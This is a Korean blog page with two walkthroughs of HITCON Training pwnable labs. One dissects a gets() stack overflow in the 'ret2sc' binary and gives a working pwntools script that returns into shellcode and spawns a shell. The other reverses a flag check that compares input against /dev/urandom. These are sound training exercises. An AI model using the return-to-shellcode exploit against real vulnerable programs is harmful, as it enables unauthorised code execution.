LAB2를 건너 뛰고 LAB3입니다. LAB2는 Shellcode에 대한 문제인데 블로그엔 아직 Shellcode에 대한 내용을 포스팅하지 않고 바로 Return to Shellcode로 넘어왔기에 흐름상 LAB3가 맞다고 판단했습니다. LAB3 안에는 다양한 파일들이 있는데 가급적이면 ret2sc 바이너리만 갖고 문제를 분석하고 풀도록 하겠습니다. ret2sc.py는 답지니까 가급적 보지 않는것을 추천드립니다.
 바이너리를 실행해보면 Name을 입력받고 어떤 입력을 받은 뒤 바로 끝납니다. 일단 바로 pwndbg로 까보도록하죠.

 

Dump of assembler code for function main:
   0x080484cd <+0>:	push   ebp
   0x080484ce <+1>:	mov    ebp,esp
   0x080484d0 <+3>:	and    esp,0xfffffff0
   0x080484d3 <+6>:	sub    esp,0x30
   0x080484d6 <+9>:	mov    eax,ds:0x804a040
   0x080484db <+14>:	mov    DWORD PTR [esp+0xc],0x0
   0x080484e3 <+22>:	mov    DWORD PTR [esp+0x8],0x2
   0x080484eb <+30>:	mov    DWORD PTR [esp+0x4],0x0
   0x080484f3 <+38>:	mov    DWORD PTR [esp],eax
   0x080484f6 <+41>:	call   0x80483c0 <setvbuf@plt>
   0x080484fb <+46>:	mov    DWORD PTR [esp],0x80485d0
   0x08048502 <+53>:	call   0x8048380 <printf@plt>
   0x08048507 <+58>:	mov    DWORD PTR [esp+0x8],0x32
   0x0804850f <+66>:	mov    DWORD PTR [esp+0x4],0x804a060
   0x08048517 <+74>:	mov    DWORD PTR [esp],0x0
   0x0804851e <+81>:	call   0x8048370 <read@plt>
   0x08048523 <+86>:	mov    DWORD PTR [esp],0x80485d6
   0x0804852a <+93>:	call   0x8048380 <printf@plt>
   0x0804852f <+98>:	lea    eax,[esp+0x1c]
   0x08048533 <+102>:	mov    DWORD PTR [esp],eax
   0x08048536 <+105>:	call   0x8048390 <gets@plt>
   0x0804853b <+110>:	nop
   0x0804853c <+111>:	leave  
   0x0804853d <+112>:	ret    
End of assembler dump.

 

 main을 보면 setvbuf, printf, read, gets가 눈에 들어옵니다. 이 문제의 포인트는 gets 함수입니다. C/C++ 코딩 경험이 좀 있으신 분들은 아실지도 모르겠습니다만 gets함수의 경우 사용자 입력을 받는 함수입니다. 그리고 이게 문제의 포인트가 되는 이유는 gets함수는 입력 길이에 제한을 두지 않습니다. 예를들어 char a[30] 를 선언하고 gets(a)를 했을때 길이가 50짜리인 문자열을 입력할 경우 30byte까지는 a에 들어가지만 남는 값들은 전부 overflow 됩니다. 좀 더 정확한 분석을 위해 입력을 받는 부분인 read와 gets에 breakpoint를 걸고 진행해보겠습니다.

 

 

 read를 호출할때 넘어가는 인자값에 대해 간단하게 살펴보고 가자면 일단 사용자 입력을 받고(fd : 0x0), name이라는 변수에 넣어주며(buf : 0x804a060 (name)), 그 길이는 50byte입니다. (nbytes : 0x32 == 50) read함수와 file descryptor(fd)에 대해 한번 찾아보시면 바로 알 수 있는 내용입니다. 그럼 바로 gets로 넘어가보겠습니다.

 

 

 gets를 호출하는 부분을 보면 arg[0]~[3]까지 존재하는데 arg[1]~[3]은 이전에 read함수를 호출할때 남아 있던 인자값들이며 gets함수에 영향을 주지 않습니다. 단, arg[0]는 입력한 값들을 저장할 주소입니다. 일단 A를 4개 넣고 넘어갑니다.

 

 

 A 4개가 0xffffd13c에 잘 들어간것을 확인했습니다. 그리고 ebp의 주소를 확인해보니 0xffffd158입니다. 자 그럼 현재까지 모은 정보를 정리해보면 마음껏 쓸 수 있는 50Byte짜리 공간이 메모리 어딘가에 있고, 길이를 체크하지 않는 함수를 써서 입력 받는 함수가 있고, 입력값은 ebp와 0x1c(28)만큼 차이나는 곳에 저장이 됩니다. 그럼 대충 아래와 같은 방법이 먹히겠네요!

 

 

 

 실제로 이 방법이 먹히는지 테스트해보도록 하겠습니다. 아래는 제가 짠 python 코드입니다.

...더보기
from pwn import *

p = process("./ret2sc")
name = 0x804a060
shellcode=asm(shellcraft.sh())
p.recvuntil(":")
p.sendline(shellcode)
p.recvuntil(":")

payload="A"*28+"B"*4+p32(name)
p.sendline(payload)
p.interactive()

끝!

'Pwnable > HITCON Training' 카테고리의 다른 글

[HITCON Training] LAB1 sysmagic  (0) 2019.08.03

  HITCON Training 이라는 유명한 워게임...이라기엔 좀 그렇고 포너블을 연습하기 좋은 문제 모음(?)이라고 보는게 더 맞을것 같습니다. 원래 유례를 찾아 보려고 했는데 잘 나오지 않아서 찾지 못했습니다. 다만 이름으로 추정해보면 매년 열리는 HITCON에서 Training을 진행하는데 거기서 따온것 같습니다. HITCON Training은 총 15문제로 이루어져있으며 아래 링크에서 다운받을 수 있습니다.

[HITCON Training Download]

https://github.com/scwuaptx/HITCON-Training

 

문제 분석

  일단 lab1 에 들어가보면 sysmagic이라는 바이너리와 소스코드 파일이 있습니다. 원래 Training 때도 소스코드가 공개 됐었는지는 모르겠지만 보고하면 재미 없을것 같으니 최대한 소스코드는 무시하면서 풀기로 했습니다. 일단 무작정 바이너리를 실행하고 아무런 값이나 넣어봤으나 별다른 반응이 없어서 바로 pwndbg로 까보기로 했습니다.

[main 함수]


Dump of assembler code for function main:
   0x08048774 <+0>:	lea    ecx,[esp+0x4]
   0x08048778 <+4>:	and    esp,0xfffffff0
   0x0804877b <+7>:	push   DWORD PTR [ecx-0x4]
   0x0804877e <+10>:	push   ebp
   0x0804877f <+11>:	mov    ebp,esp
   0x08048781 <+13>:	push   ecx
   0x08048782 <+14>:	sub    esp,0x4
   0x08048785 <+17>:	mov    eax,ds:0x804a034
   0x0804878a <+22>:	push   0x0
   0x0804878c <+24>:	push   0x2
   0x0804878e <+26>:	push   0x0
   0x08048790 <+28>:	push   eax
   0x08048791 <+29>:	call   0x8048460 <setvbuf@plt>
   0x08048796 <+34>:	add    esp,0x10
   0x08048799 <+37>:	call   0x804859b <get_flag>
   0x0804879e <+42>:	mov    eax,0x0
   0x080487a3 <+47>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x080487a6 <+50>:	leave  
   0x080487a7 <+51>:	lea    esp,[ecx-0x4]
   0x080487aa <+54>:	ret    
End of assembler dump.

  main 함수의 어셈블리 코드입니다. setvbuf와 get_flag를 호출하는것을 제외하면 특별하다라고 볼만한게 없습니다. 일단 이름에서부터 flag값을 알아낼 수 있을것 같은 get_flag 함수를 살펴보기로 합니다.

[get_flag 함수]


Dump of assembler code for function get_flag:
   0x0804859b <+0>:	push   ebp
   0x0804859c <+1>:	mov    ebp,esp
   0x0804859e <+3>:	sub    esp,0x88
   0x080485a4 <+9>:	mov    eax,gs:0x14
   0x080485aa <+15>:	mov    DWORD PTR [ebp-0xc],eax
   0x080485ad <+18>:	xor    eax,eax
   0x080485af <+20>:	mov    DWORD PTR [ebp-0x3e],0x795f6f44
   0x080485b6 <+27>:	mov    DWORD PTR [ebp-0x3a],0x6b5f756f
   0x080485bd <+34>:	mov    DWORD PTR [ebp-0x36],0x5f776f6e
   0x080485c4 <+41>:	mov    DWORD PTR [ebp-0x32],0x5f796877
   0x080485cb <+48>:	mov    DWORD PTR [ebp-0x2e],0x745f796d
   0x080485d2 <+55>:	mov    DWORD PTR [ebp-0x2a],0x6d6d6165
   0x080485d9 <+62>:	mov    DWORD PTR [ebp-0x26],0x5f657461
   0x080485e0 <+69>:	mov    DWORD PTR [ebp-0x22],0x6e61724f
   0x080485e7 <+76>:	mov    DWORD PTR [ebp-0x1e],0x695f6567
   0x080485ee <+83>:	mov    DWORD PTR [ebp-0x1a],0x6f735f73
   0x080485f5 <+90>:	mov    DWORD PTR [ebp-0x16],0x676e615f
   0x080485fc <+97>:	mov    DWORD PTR [ebp-0x12],0x3f3f7972
   0x08048603 <+104>:	mov    WORD PTR [ebp-0xe],0x3f
   0x08048609 <+110>:	mov    BYTE PTR [ebp-0x6f],0x7
   0x0804860d <+114>:	mov    BYTE PTR [ebp-0x6e],0x3b
   0x08048611 <+118>:	mov    BYTE PTR [ebp-0x6d],0x19
   0x08048615 <+122>:	mov    BYTE PTR [ebp-0x6c],0x2
   0x08048619 <+126>:	mov    BYTE PTR [ebp-0x6b],0xb
   0x0804861d <+130>:	mov    BYTE PTR [ebp-0x6a],0x10
   0x08048621 <+134>:	mov    BYTE PTR [ebp-0x69],0x3d
   0x08048625 <+138>:	mov    BYTE PTR [ebp-0x68],0x1e
   0x08048629 <+142>:	mov    BYTE PTR [ebp-0x67],0x9
   0x0804862d <+146>:	mov    BYTE PTR [ebp-0x66],0x8
   0x08048631 <+150>:	mov    BYTE PTR [ebp-0x65],0x12
   0x08048635 <+154>:	mov    BYTE PTR [ebp-0x64],0x2d
   0x08048639 <+158>:	mov    BYTE PTR [ebp-0x63],0x28
   0x0804863d <+162>:	mov    BYTE PTR [ebp-0x62],0x59
   0x08048641 <+166>:	mov    BYTE PTR [ebp-0x61],0xa
   0x08048645 <+170>:	mov    BYTE PTR [ebp-0x60],0x0
   0x08048649 <+174>:	mov    BYTE PTR [ebp-0x5f],0x1e
   0x0804864d <+178>:	mov    BYTE PTR [ebp-0x5e],0x16
   0x08048651 <+182>:	mov    BYTE PTR [ebp-0x5d],0x0
   0x08048655 <+186>:	mov    BYTE PTR [ebp-0x5c],0x4
   0x08048659 <+190>:	mov    BYTE PTR [ebp-0x5b],0x55
   0x0804865d <+194>:	mov    BYTE PTR [ebp-0x5a],0x16
   0x08048661 <+198>:	mov    BYTE PTR [ebp-0x59],0x8
   0x08048665 <+202>:	mov    BYTE PTR [ebp-0x58],0x1f
   0x08048669 <+206>:	mov    BYTE PTR [ebp-0x57],0x7
   0x0804866d <+210>:	mov    BYTE PTR [ebp-0x56],0x1
   0x08048671 <+214>:	mov    BYTE PTR [ebp-0x55],0x9
   0x08048675 <+218>:	mov    BYTE PTR [ebp-0x54],0x0
   0x08048679 <+222>:	mov    BYTE PTR [ebp-0x53],0x7e
   0x0804867d <+226>:	mov    BYTE PTR [ebp-0x52],0x1c
   0x08048681 <+230>:	mov    BYTE PTR [ebp-0x51],0x3e
   0x08048685 <+234>:	mov    BYTE PTR [ebp-0x50],0xa
   0x08048689 <+238>:	mov    BYTE PTR [ebp-0x4f],0x1e
   0x0804868d <+242>:	mov    BYTE PTR [ebp-0x4e],0xb
   0x08048691 <+246>:	mov    BYTE PTR [ebp-0x4d],0x6b
   0x08048695 <+250>:	mov    BYTE PTR [ebp-0x4c],0x4
   0x08048699 <+254>:	mov    BYTE PTR [ebp-0x4b],0x42
   0x0804869d <+258>:	mov    BYTE PTR [ebp-0x4a],0x3c
   0x080486a1 <+262>:	mov    BYTE PTR [ebp-0x49],0x2c
   0x080486a5 <+266>:	mov    BYTE PTR [ebp-0x48],0x5b
   0x080486a9 <+270>:	mov    BYTE PTR [ebp-0x47],0x31
   0x080486ad <+274>:	mov    BYTE PTR [ebp-0x46],0x55
   0x080486b1 <+278>:	mov    BYTE PTR [ebp-0x45],0x2
   0x080486b5 <+282>:	mov    BYTE PTR [ebp-0x44],0x1e
   0x080486b9 <+286>:	mov    BYTE PTR [ebp-0x43],0x21
   0x080486bd <+290>:	mov    BYTE PTR [ebp-0x42],0x10
   0x080486c1 <+294>:	mov    BYTE PTR [ebp-0x41],0x4c
   0x080486c5 <+298>:	mov    BYTE PTR [ebp-0x40],0x1e
   0x080486c9 <+302>:	mov    BYTE PTR [ebp-0x3f],0x42
   0x080486cd <+306>:	sub    esp,0x8
   0x080486d0 <+309>:	push   0x0
   0x080486d2 <+311>:	push   0x8048830
   0x080486d7 <+316>:	call   0x8048440 <open@plt>
   0x080486dc <+321>:	add    esp,0x10
   0x080486df <+324>:	mov    DWORD PTR [ebp-0x74],eax
   0x080486e2 <+327>:	sub    esp,0x4
   0x080486e5 <+330>:	push   0x4
   0x080486e7 <+332>:	lea    eax,[ebp-0x80]
   0x080486ea <+335>:	push   eax
   0x080486eb <+336>:	push   DWORD PTR [ebp-0x74]
   0x080486ee <+339>:	call   0x8048410 <read@plt>
   0x080486f3 <+344>:	add    esp,0x10
   0x080486f6 <+347>:	sub    esp,0xc
   0x080486f9 <+350>:	push   0x804883d
   0x080486fe <+355>:	call   0x8048420 <printf@plt>
   0x08048703 <+360>:	add    esp,0x10
   0x08048706 <+363>:	sub    esp,0x8
   0x08048709 <+366>:	lea    eax,[ebp-0x7c]
   0x0804870c <+369>:	push   eax
   0x0804870d <+370>:	push   0x804884d
   0x08048712 <+375>:	call   0x8048480 <__isoc99_scanf@plt>
   0x08048717 <+380>:	add    esp,0x10
   0x0804871a <+383>:	mov    edx,DWORD PTR [ebp-0x80]
   0x0804871d <+386>:	mov    eax,DWORD PTR [ebp-0x7c]
   0x08048720 <+389>:	cmp    edx,eax
   0x08048722 <+391>:	jne    0x8048760 <get_flag+453>
   0x08048724 <+393>:	mov    DWORD PTR [ebp-0x78],0x0
   0x0804872b <+400>:	jmp    0x8048758 <get_flag+445>
   0x0804872d <+402>:	lea    edx,[ebp-0x6f]
   0x08048730 <+405>:	mov    eax,DWORD PTR [ebp-0x78]
   0x08048733 <+408>:	add    eax,edx
   0x08048735 <+410>:	movzx  ecx,BYTE PTR [eax]
   0x08048738 <+413>:	lea    edx,[ebp-0x3e]
   0x0804873b <+416>:	mov    eax,DWORD PTR [ebp-0x78]
   0x0804873e <+419>:	add    eax,edx
   0x08048740 <+421>:	movzx  eax,BYTE PTR [eax]
   0x08048743 <+424>:	xor    eax,ecx
   0x08048745 <+426>:	movsx  eax,al
   0x08048748 <+429>:	sub    esp,0xc
   0x0804874b <+432>:	push   eax
   0x0804874c <+433>:	call   0x8048470 <putchar@plt>
   0x08048751 <+438>:	add    esp,0x10
   0x08048754 <+441>:	add    DWORD PTR [ebp-0x78],0x1
   0x08048758 <+445>:	mov    eax,DWORD PTR [ebp-0x78]
   0x0804875b <+448>:	cmp    eax,0x30
   0x0804875e <+451>:	jbe    0x804872d <get_flag+402>
   0x08048760 <+453>:	nop
   0x08048761 <+454>:	mov    eax,DWORD PTR [ebp-0xc]
   0x08048764 <+457>:	xor    eax,DWORD PTR gs:0x14
   0x0804876b <+464>:	je     0x8048772 <get_flag+471>
   0x0804876d <+466>:	call   0x8048430 <__stack_chk_fail@plt>
   0x08048772 <+471>:	leave  
   0x08048773 <+472>:	ret    
End of assembler dump.

  코드가 굉장히 길지만 눈길을 끄는 녀석들만 골라서 추측해보자면 open함수로 뭘 열고 read로 뭘 읽고 scanf로 뭘 입력 받고 입력받은 값과 읽은 값을 비교(+375~+389)하는것 같습니다. 일단 제 추측이 맞는지 확인부터 해봅니다. 제대로 된 분석은 제 추측이 틀렸다는게 밝혀진 뒤에 해도 늦지 않습니다.

open("/dev/urandom",0,0)

  open 함수로 /dev/urandom 이라는 파일을 엽니다. 저 파일은 랜덤한 값들을 만들어주는 파일로 열어보시면 아래와 같은 값을 볼 수 있습니다. 아래는 편의를 위해 길이 제한을 걸어서 그렇지 만약 길이 제한 옵션이 없다면 사용자가 멈추기 전까지 무한으로 뽑아냅니다.

/dev/urandom

 

read(fd, buf, 4)

  여기선 read 함수로 무엇인가를 하는 것을 확인할 수 있는데 read 함수에 대해 잘 모르시는 분들을 위해 간단하게 설명하고 넘어가겠습니다. 일단 기본적인 read 함수에서 사용하는 인자값들은 아래와 같습니다.

read man page

  fd, *buf, count 3가지 인자값이 있는데 fd는 file descriptor를 뜻합니다. 이에 대한건 file descriptor를 검색하시면 더 자세한 내용이 나오는데 아주아주 간단하게 말씀드리자면 fd값은 0 -> stdin(표준 입력) / 1 -> stdout(표준 출력) / 2 -> stderr(표준 에러) 로 정해져 있고 실제 파일의 경우는 3번부터 부여됩니다. 위에서 open을 이용해 하나의 파일을 열었으니 fd가 3이 되고 이를 다시 정리하자면 위에서 열었던 '/dev/urandom' 파일에서 4바이트 만큼 값을 읽어서 0xffffd088 위치에 넣어준다는 뜻입니다.

read 함수 호출 직후

  위에서 확인할 수 있듯이 0xffffd088이라는 곳에 0x8a1f2559라는 값이 들어갔습니다.

입력후 cmp 부분

  그리고 제가 입력한 256이라는 값이 16진수로 EAX에 들어간 것을 확인할 수 있고 cmp를 통해 EDX에 있는 값(위에서 read를 통해 넣어준 값)과 비교해 분기를 결정합니다. 결국 랜덤한 4바이트 값을 맞춰서 입력해주면 풀리는 문제!

끝!

'Pwnable > HITCON Training' 카테고리의 다른 글

[HITCON Training] LAB3 ret2sc  (0) 2019.08.12

+ Recent posts